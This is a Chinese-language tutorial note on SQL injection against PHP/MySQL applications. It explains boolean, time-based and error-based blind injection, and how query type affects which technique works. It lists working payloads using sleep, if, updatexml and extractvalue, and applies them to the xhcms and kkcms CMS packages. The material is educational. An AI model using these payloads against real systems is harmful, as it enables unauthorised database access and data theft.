目录
PHP-MYSQL-SQL操作-增删改查
PHP-MYSQL-注入函数-布尔&报错&延迟
基于布尔的SQL盲注-逻辑判断(需要有回显,没回显搞不了)跟union需要的条件差不多
基于时间的SQL盲注-延时判断(不需要任何回显)
基于报错的SQL盲注-报错回显(需要报错回显,没报错回显玩不了)
PHP-MYSQL-注入条件-数据回显&错误处理
PHP-MYSQL-CMS案例-插入报错&删除延迟
知识点:
1、PHP-MYSQL-SQL注入-方式增删改查
2、PHP-MYSQL-SQL注入-布尔&延迟&报错
3、PHP-MYSQL-SQL注入-数据回显&报错处理
PHP-MYSQL-SQL操作-增删改查
功能:数据查询(对数据感兴趣) 一般能用union、布尔盲注
查询:SELECT * FROM news where id=$id
功能:新增用户,添加新闻等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入
增加:INSERT INTO news (字段名) VALUES (数据)
功能:删除用户,删除新闻等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入
删除:DELETE FROM news WHERE id=$id
功能:修改用户,修改文章等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入
修改:UPDATE news SET id=$id
就是因为查与增删改的区别不同,所以才有了盲注的知识点
PHP-MYSQL-注入函数-布尔&报错&延迟
盲注就是在注入过程中,获取的数据不能回显至前端页面。我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:
1、基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
2、基于时间的SQL盲注-延时判断
if,sleep
3、基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
参考:
like 'ro%' #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
基于布尔的SQL盲注-逻辑判断(需要有回显,没回显搞不了)跟union需要的条件差不多
and length ( database ()) = 7 ;and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;
regexp,like,ascii,left,ord,mid
and length(database())=7; //判断数据库database()名的长度是不是等于7
and left(database(),1)=‘p’; //left(a,b)从左侧截取a的前b位
and left(database(),2)=‘pi’; //left(a,b)从左侧截取a的前b位
基于时间的SQL盲注-延时判断(不需要任何回显)
and sleep ( 1 );and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
基于报错的SQL盲注-报错回显(需要报错回显,没报错回显玩不了)
and updatexml ( 1 , concat ( 0x7e ,( SELECT version ()), 0x7e ), 1 )and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
更多:https://www.jianshu.com/p/bc35f8dd4f7c
PHP-MYSQL-注入条件-数据回显&错误处理
PHP 开发项目 - 输出结果 & 开启报错基于延时:都不需要
and if(1=1,sleep(5),0)
基于布尔:有数据库输出判断标准
and length(database())=6
基于报错:有数据库报错处理判断标准
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
测试delete注入:(有无回显,有无报错)
删除(延迟):1 and if(1=1,sleep(5),0)
删除(布尔):3 and length(database())=6(无回显 无法判断注入)
删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
测试delete注入:(有无回显,有无报错)
删除(延迟):1 and if(1=1,sleep(5),0)
删除(布尔):3 and length(database())=6(无回显 无法判断注入)
删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
PHP-MYSQL-CMS案例-插入报错&删除延迟
xhcms-insert报错
’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and ’ //需要加单引号进行闭合
kkcms-delete延时(当访问php脚本页面空白时就要想到会不会出现其他脚本包含该脚本的情况,并且其他脚本里写有HTML代码去进行调用)
and if(1=1,sleep(5),0) and的是前后条件都符合才行
or if(1=1,sleep(5),0) or是前后条件符合一个就可以
or if(ord(left(database(),1))=107,sleep(2),0)